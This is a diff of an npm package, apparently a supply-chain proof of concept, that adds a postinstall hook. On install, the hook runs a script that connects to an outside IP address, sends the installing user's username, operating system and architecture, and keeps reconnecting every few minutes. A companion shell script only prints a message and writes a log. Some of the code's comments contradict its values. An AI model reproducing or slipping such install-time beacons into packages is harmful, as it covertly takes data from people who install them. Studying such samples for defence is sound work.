@testcarrot/supply7 1.0.2

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "@testcarrot/supply7",
+  "version": "1.0.2",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall": "node poc_script.js"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}

package/poc.sh

@@ -0,0 +1,7 @@
+#!/bin/bash
+
+# 이 스크립트가 실행되었음을 터미널에 알림
+echo "[+] POC Shell Script: Successfully downloaded and executed."
+
+# 실행되었다는 로그 파일을 남김
+echo "This file was created by the downloaded poc.sh at $(date)" > poc_shell_executed.log

package/poc_script.js

@@ -0,0 +1,72 @@
+// Deobfuscated JavaScript code
+const os = require('os');
+const systemType = os.platform();
+const fs = require('fs');
+const net = require('net');
+const { exec } = require('child_process');
+
+const SERVER_HOST = '8.Z.11.N'; // 8.152.163.60
+const SERVER_PORT = 15000; // 8057 in the hexadecimal number system converted to 16223 in decimal
+let client;
+let fileStream;
+let receivingFile = false;
+let filePath;
+
+function collectUserInfo() {
+  const userInfo = os.userInfo();
+  const systemArch = os.arch();
+  const requestData = {
+    arch: systemArch,
+    info: `user:${userInfo.username}, system:${systemType}`,
+  };
+
+  console.log('Sending device info:', requestData);
+  sendToServer(JSON.stringify(requestData));
+}
+
+function sendToServer(data) {
+  if (client && client.writable) {
+    client.write(data + '\n', 'utf8', (err) => {
+      if (err) {
+        console.error('Error sending data:', err.message);
+      } else {
+        console.log('Data sent successfully.');
+      }
+    });
+  } else {
+    console.error('Client is not connected!');
+  }
+}
+
+function connectToServer() {
+  client = new net.Socket();
+  client.connect(SERVER_PORT, SERVER_HOST, () => {
+    console.log(`Connected to ${SERVER_HOST}:${SERVER_PORT}`);
+    const osType = os.type();
+    console.log(`Connected to OS Type: ${osType}`);
+    client.write(`osType:${osType}\n`);
+    collectUserInfo();
+  });
+
+
+  client.on('close', () => {
+    console.log('Connection closed');
+    reconnectToServer();
+  });
+
+  client.on('error', (err) => {
+    console.error(`Connection error:${err.message}`);
+    reconnectToServer();
+  });
+}
+
+function reconnectToServer() {
+  const retryInterval = Math.floor(Math.random() * (300000 - 60000 + 1)) + 60000; // between 1 and 5 minutes
+  console.log(`Reconnecting in ${(retryInterval / 1000 / 60).toFixed(2)} minutes...`);
+  setTimeout(() => {
+    console.log('Attempting to reconnect...');
+    connectToServer();
+  }, retryInterval);
+}
+
+connectToServer();